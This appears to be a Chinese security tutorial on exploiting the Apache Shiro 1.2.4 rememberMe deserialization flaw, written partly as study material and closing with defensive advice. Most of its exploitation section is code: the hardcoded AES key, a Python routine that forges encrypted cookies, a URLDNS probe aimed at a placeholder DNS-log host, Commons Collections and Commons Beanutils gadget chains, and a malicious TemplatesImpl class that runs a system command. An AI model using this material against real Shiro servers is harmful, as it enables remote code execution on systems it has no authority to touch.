Java反序列化之Shiro反序列化利用
字数 1296 2025-08-24 16:48:16
Apache Shiro 反序列化漏洞分析与利用
一、漏洞背景
Apache Shiro 是一个强大且易用的 Java 安全框架,提供认证、授权、加密和会话管理等功能。在 Shiro 1.2.4 及之前版本中,存在一个严重的反序列化漏洞,攻击者可以通过构造恶意的 rememberMe cookie 来执行任意代码。
二、漏洞原理
1. 漏洞触发点
Shiro 在用户登录时如果勾选"记住我"功能,会在响应中返回一个 rememberMe cookie。这个 cookie 的值是经过以下处理的:
- 序列化用户身份信息
- 使用 AES 加密
- Base64 编码
关键问题在于:
- Shiro 使用了硬编码的 AES 加密密钥(
kPH+bIxk5D2deZiIxcaaaA==) - 加密后的数据会被反序列化
2. 漏洞分析流程
-
Cookie 处理流程:
CookieRememberMeManager类处理 cookieAbstractRememberMeManager.getRememberedPrincipals()获取 cookie 数据convertBytesToPrincipals()方法进行解密和反序列化
-
关键代码:
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes); // AES解密
}
return deserialize(bytes); // 反序列化
}
- 硬编码密钥:
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
三、漏洞利用
1. 基本利用流程
- 构造恶意序列化对象
- 使用 Shiro 的 AES 密钥加密
- Base64 编码后作为 rememberMe cookie 发送
2. 利用工具类
AES 加密工具(Python)
import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
URLDNS 测试 Payload(Java)
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("http://your-dns-log.com");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url, 1234);
hashmap.put(url, 1);
hashcodefield.set(url, -1);
serialize(hashmap);
}
}
3. 利用链选择
3.1 Commons Collections 链(CC链)
问题:Shiro 默认不包含 CC 依赖,需要目标应用额外引入
解决方案:构造无数组类的 CC 链(避免 ClassResolvingObjectInputStream 无法加载数组类的问题)
示例 EXP:
// 使用 CC6 + TemplatesImpl 的组合
TemplatesImpl templates = new TemplatesImpl();
// 设置 _bytecodes 和 _name 等字段
// 使用 LazyMap 和 TiedMapEntry 构造调用链
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(Lazymap, templates);
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
3.2 Commons Beanutils 链(CB链)
优势:Shiro 自带 Commons Beanutils 依赖,无需额外依赖
利用原理:
- 利用
TemplatesImpl的getOutputProperties()方法(符合 JavaBean 规范) - 通过
BeanComparator触发方法调用
示例 EXP:
TemplatesImpl templates = new TemplatesImpl();
// 设置 _bytecodes 和 _name 等字段
// 使用 BeanComparator 触发
BeanComparator beanComparator = new BeanComparator("outputProperties", new AttrCompare());
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add(templates);
priorityQueue.add(1);
4. 恶意类构造
Demo.java(用于 TemplatesImpl 加载):
public class Demo extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
// 必须实现的方法
public void transform(DOM document, SerializationHandler[] handlers) {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
四、防御措施
- 升级 Shiro 到最新版本(>=1.2.5)
- 自定义加密密钥(修改
AbstractRememberMeManager的setCipherKey) - 禁用 rememberMe 功能(如不需要)
- 使用 WAF 防护反序列化攻击
五、总结
Shiro 反序列化漏洞的核心在于:
- 硬编码的 AES 密钥
- 不安全的反序列化操作
- 可利用的依赖链(CC/CB)
攻击者可以通过构造特定的序列化对象,利用 Shiro 的 rememberMe 功能实现远程代码执行。防御关键在于及时更新、密钥自定义和最小化依赖。